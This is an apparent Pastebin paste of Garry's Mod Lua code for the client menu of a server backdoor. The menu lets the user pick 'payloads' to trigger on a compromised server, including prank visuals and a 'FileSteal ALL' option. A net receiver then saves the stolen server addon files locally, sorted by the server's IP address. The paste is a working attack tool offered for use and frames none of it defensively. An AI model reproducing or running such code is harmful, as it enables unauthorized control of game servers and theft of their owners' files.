Advertisement
Tommy_QC

Untitled

Nov 13th, 2019
475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.00 KB | None | 0 0
  1. function srmain()
  2.  
  3. frame = vgui.Create("DFrame")
  4. frame:MakePopup()
  5. frame:SetPos((ScrW()/2)-(ScrW()/2)/2,(ScrH()/2)-(ScrW()/2)/2)
  6. frame:SetSize(ScrW()/2, ScrW()/2)
  7. frame.Paint = function()
  8.  
  9. draw.RoundedBox(0,0,0,ScrW()/2, ScrW()/2,Color(0,0,0,150))
  10.  
  11. end
  12.  
  13.  
  14. end
  15.  
  16. function srfun()
  17.  
  18. local frame2 = vgui.Create( "DFrame" )
  19. frame2:SetSize( 300, 250 )
  20. frame2:Center()
  21. frame2:SetTitle("Paylod stat menu")
  22. frame2:MakePopup()
  23. frame2.Paint = function()
  24.  
  25. local chroma = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
  26. draw.RoundedBox(0,0,0,300,250,chroma)
  27.  
  28.  
  29.  
  30. end
  31.  
  32. local listFun = vgui.Create( "DComboBox", frame2 )
  33. listFun:SetPos( 5, 30 )
  34. listFun:SetSize( 100, 20 )
  35. listFun:Dock(TOP)
  36. listFun:SetValue( "Payload" )
  37. listFun:AddChoice( "Bill Cipher Visuelle" )
  38. listFun:AddChoice( "DeathNote" )
  39. listFun:AddChoice( "Dance" )
  40. listFun:AddChoice( "Visuelle Enigma" )
  41. listFun:AddChoice( "Visuelle Music Wave" )
  42. listFun:AddChoice( "(New) Cipher Visuelle" )
  43. listFun:AddChoice( "FileSteal ALL" )
  44. listFun:AddChoice( "Visuel Nasa" )
  45. listFun:AddChoice( "Visuel gizeh" )
  46. listFun.Paint = function()
  47.  
  48. draw.RoundedBox(0,0,0,300,250,Color(255, 255, 255,100))
  49.  
  50. end
  51.  
  52. listFun.OnSelect = function( self, index, value )
  53.  
  54.  
  55.  
  56. local listButton = vgui.Create("DButton",frame2)
  57.  
  58. listButton:SetSize(280,40)
  59. listButton:SetPos(10,60)
  60. listButton:SetText(value.." : Valider")
  61.  
  62. listButton.DoClick = function()
  63.  
  64. net.Start("value_open")
  65. net.WriteString( value )
  66. net.SendToServer()
  67.  
  68. if(value == "FileSteal ALL") then
  69.  
  70. net.Start("filestealerbd")
  71. net.WriteString("addons")
  72. net.WriteUInt(2,2)
  73. net.SendToServer()
  74.  
  75. end
  76.  
  77.  
  78. end
  79.  
  80. listButton.Paint = function(s,w,h)
  81.  
  82. draw.RoundedBox(0,0,0,280,40,Color(255,255,255,255))
  83.  
  84. end
  85.  
  86.  
  87. end
  88.  
  89.  
  90.  
  91.  
  92. end
  93.  
  94. srfun()
  95.  
  96. net.Receive( "receive_files_bd", function()
  97. print("Good F")
  98. local len = net.ReadUInt(32)
  99. local str = net.ReadData(len)
  100. local jaimelescrepes = util.Decompress(str)
  101. local uselessfordeleting = net.ReadString()
  102. local belleipaddress = string.gsub( game.GetIPAddress(), ":", "-" )
  103. if not file.Exists( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting).."/", "DATA") then
  104. file.CreateDir( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting) )
  105. print("File created")
  106. end
  107. file.Write("cipher_filesteal/"..belleipaddress.."/"..uselessfordeleting..".txt", jaimelescrepes)
  108. print("+1 fichier reçu")
  109. end)
  110.  
  111. print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement